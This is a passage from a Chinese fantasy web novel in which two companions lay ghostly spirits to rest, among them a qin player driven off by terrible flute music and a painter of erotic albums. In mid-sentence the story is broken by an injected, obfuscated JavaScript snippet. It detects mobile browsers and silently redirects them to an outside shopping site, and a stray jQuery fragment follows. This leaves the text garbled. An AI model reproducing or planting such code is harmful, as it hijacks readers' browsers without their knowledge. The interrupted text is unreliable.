听到这句话,许川佩浑身一颤,像被抽空了所有力气,跌坐回石凳上。
他低垂着头,肩膀微微起伏。过了许久,他才抬起手,去捻那颗拍碎的白子,但指尖刚触到碎屑,白子便被风吹散了。
他的目光追着那缕白沙飘远,像是终于等到了什么,又像是放下了什么。
“终于......可以输了......”声音很轻,像落子时的脆响。话音未落,他的灵体便如碎子一般,随风散去。
在场二人看着他消散后,无名剑客才道:“真要想输,当初那场棋赛他大可以对棋正的判罚提出抗议。”
谢婴麟摇了摇折扇:“许氏以棋闻名,许川佩曾经是他那一辈子弟中最出色的一个。背负着家族的压力,棋正判罚之事,无论他事先知与不知,恐怕都无力抗议。”
无名剑客道:“一边捧起桂冠,一边画地为牢,既不磊落,又无意义,未免矫情。”
“当年这一局后,许川佩越来越少现身人前,也少有参赛夺魁。新的天策棋主之名,是他堂妹夺下的,”谢婴麟道,“被家族放弃,被世人忘记,被心魔折磨。如此境遇,能做到知其不可奈何而安之若命的,又有几人呢?”
无名剑客瞥着他:“如你所言,倒是我苛责了?”
“怎会?”谢婴麟笑道,“阁下心志坚定,可谓心澄如明镜,志坚若磐石,刚烈至此,自然敢于取舍。水湘子将你当做盘中餐,却是看走眼了。”
无名剑客哼了一声,不置可否:“下一个。”
“走吧。”谢婴麟带头走向松下的残谱琴师。
琴师正在用仅剩的左手拨弄着琴弦,琴声空茫。他十分专注,对棋手的消散毫无反应。
谢婴麟对无名剑客解释:“这位残谱琴师断手后,自创了一套指法,拇指、食指弹弦,其余手指按弦。”
“不用讲课,谢谢,”无名剑客道,“去问他要怎么才肯消失。”
谢婴麟摇头:“对于乐者,一曲便够,何须开口。”
无名剑客警惕起来:“你要干什么?”
谢婴麟自谦一笑:“情况如此,我也只好献丑了。”
闻言,无名剑客立刻转身跃开数丈之遥,直退回到了茅屋后面,用术法封闭耳道后,还撒下一把符箓把自己保护起来。散落各处的小纸人们也是连滚带爬地跑到主人身边,紧紧挤在保护圈里瑟瑟发抖,有几个还捂住了并不存在的耳朵。
谢婴麟看他们做好准备,这才将手中一直拿着的一叠废纸收好,取出竹笛,放在唇边。
笛声刚起,整座院子的天光都暗了一瞬。
那声音不是吹出来的,而是硬生生从竹管里挤出来的,像劣质的法器在灵石上摩擦,像封禁千年的洞府石门被强行推开,像一万个霍一鸣在骂人。声波过处,松针簌簌坠落,石桥下的流水翻起浪花。
残谱琴师的琴声猛地一滞,指头在弦上划出一道刺耳的滑音。他抬起头,空洞的眼里竟闪过一丝难以置信。停滞两息,他立刻五指翻飞,琴声陡然大了起来,如万马奔腾,似要将那鬼哭狼嚎般的笛声压下去。
谢婴麟不慌不忙,闭上眼,吹得更起劲了。笛声陡然拔高了一个调,尖锐得像锥子直往人天灵盖里钻。
院内的石栏开始龟裂,裂纹像蛛网般蔓延。溪亭的顶瓦一片片滑落,砸在石桥上碎成齑粉。芭蕉叶被声浪撕成碎片,满天飞舞。连落日余晖都被生生逼散,露出了真实的天花板。
无名剑客隔了数十丈远,明明封了耳道,仍觉头皮发麻,忍不住又往后退了几步。小纸人们抱成一团,有几个已经翻着白眼瘫软在地。
琴师的灵体剧烈闪烁。他越弹越快,残影连连,七根弦在他指下化作一片模糊的光。每拨一弦,灵体便淡一分,仿佛在燃烧自己的神魂来对抗那可怕的笛声。本不该出现的汗水从他的额角滑落,滴在琴面上,发出轻微的嗤响。
院门口的沈惊鸿抱着头连连后退,哀嚎着缩进墙角,身影越来越淡,几乎要融入墙里。花坞里的画师突然浑身一颤,直挺挺倒了下去。
琴师已弹到癫狂。他的手指快得看不见,琴音如惊涛骇浪,但灵体已透明得只剩一层薄薄的轮廓,仿佛随时会碎。
谢婴麟仍在不紧不慢地吹着,笛声越来越离谱,越来越高亢,越来越恶心。
终于——
“够......了......”
琴师颤颤巍巍吐出两个字,声音轻得像一缕烟。话音未落,琴声戛然而止。他的手停在弦上,灵体如被风吹散的薄雾,化作点点流光,消失在暮色里。
古琴跌落在地,铮然一响,余音袅袅,像一声解脱的叹息。
谢婴麟闭着眼睛没看到,或者察觉到了也不想管,还在忘情地吹奏着。直到斜刺里飞出来一块石头,精准卡进了竹笛的孔里,“嘎——”的一声,笛声停了。
谢婴麟意犹未尽地睁开狭眸,就见无名剑客从柳枝阴影里走出,单手拖着已然昏迷的画师灵体,小纸人们跟在他脚边,一个个腿脚发软,走几步就摔一跤。
“好一招‘低山死水遇知音’,”无名剑客咬着牙道,“许川佩要是有你这般自信,想必现在已是天下第一棋了。”
“阁下过奖。”谢婴麟优雅一礼。
无名剑客抬手把画师丢到他面前:“轮到他了,好在已经被你吹了个半死。”
“此乃如听仙乐耳暂鸣——耳鸣的鸣。”谢婴麟抬手攫来几根松针,弹指飞入画师灵体的几大穴位。
画师猛地睁开眼,面色凄苦,半晌才回神,随即一把捂着耳朵,撅着屁股团成一团,瑟瑟发抖:“不要!不要听!不要听!”
无名剑客抬手把画册丢到画师屁股上,对着谢婴麟一扬下巴,没好气地说:“自己处理。”说着转身去找门外的醉月书生。
谢婴麟方才已然惊鸿一瞥,此刻他面不改色地捡起画册,翻开。
好消息,是春宫图。
坏消息,不是人和人的。
第一页,人与兽。画工精细,毛发毕现,姿势匪夷所思。
谢婴麟神色自若地翻过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728620|205651||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去。
第二页,换了一头兽,也换了一种姿势,其笔触之诡谲,神态之生动,令人叹为观止。
谢婴麟继续翻,连翻数十页,终于从畜牧业来到了法器业,打头的是一张人与香炉。炉盖掀起,三足朝天,场面很难说得上香艳,但一定能戳中有此癖好之人的心。
再翻,人与桌椅、人与笔架、人与砚台,乃至拂尘、剑鞘、炼丹炉、水缸、花盆……凡此种种,不一而足。每一幅都工笔细描,栩栩如生,看得出画师在这些题材上耗费了极深的心血。
直到翻过三分之二,画风才忽然一转,终于回了人间。
十数张画纸上,先是男男,后是女女。线条依旧精妙,情意绵绵,笔力不输前篇。纵观全册,可以看出画师在每一种类型上都倾注了同样的心血,不分对象,无有高下,可谓是众生平等,干一行、爱一行。
地上的画师仍在发抖,嘴里嘟囔着“不要听”。谢婴麟翻完画册,撩开衣角半跪俯身,拍了拍画师的肩。
“别怕,没有笛声了,”他温声道,“来,说说这些画——你是只想画呢,还是想试试?”
画师缓了好久,才翻身躺到地上,仰头看着谢婴麟。他一副凄楚模样,看着很可怜,开口第一句话却是:“你长得真好,我能画你吗?”
谢婴麟把画册递给他,道:“你帮我出去,我就给你画。”
“你想出去,得先完成我的愿望,我才会消失。”
“我知道,”谢婴麟说,“你的愿望是什么?”
画师抱住画册,望着头顶虚幻的天光,声音里满是憧憬:“我想知道......做这件事,是什么感觉。”
“你为什么不自己去试试?”
“这种事,只能和心爱的对象做,”画师失落地皱起眉,“可我至死也不知道,我究竟爱什么。爱女人?爱男人?爱画纸?不,都不是。我没有所爱。”
“你不是爱作画吗?”
“是,我爱作画。但作画是个过程,触摸不到,”他抬起手,五指在虚空中抓了抓,“而画纸、画笔、水粉,只是进行这个过程的工具。就像……”他想了想,没想出合适的比喻。
谢婴麟接过话:“就像琴师爱的是琴音,不是琴弦。就像棋手爱的是那一局生死,不是那副棋子。”
画师微微偏头看他。
“做这种事,不一定非要触碰到什么,”谢婴麟温和地说,“你作画时,画到酣处,浑身战栗,魂都飞出去的时候——那不是?”
画师怔住了。
“你爱的是作画,作画也爱你。”谢婴麟轻笑道,“你们早就做过这件事了。”
许久,画师的眼角滑下一滴灵光凝成的泪,嘴角却慢慢弯起来。
“原来如此……原来如此。”
他一骨碌坐起身,面前凭空浮现出笔墨纸砚,铺展开来。他握住笔,转头看向谢婴麟,眼里有光:“你想和谁做这件事?”
谢婴麟也不嫌地面脏,直接坐到了他面前,狭眸弯弯:“我想......”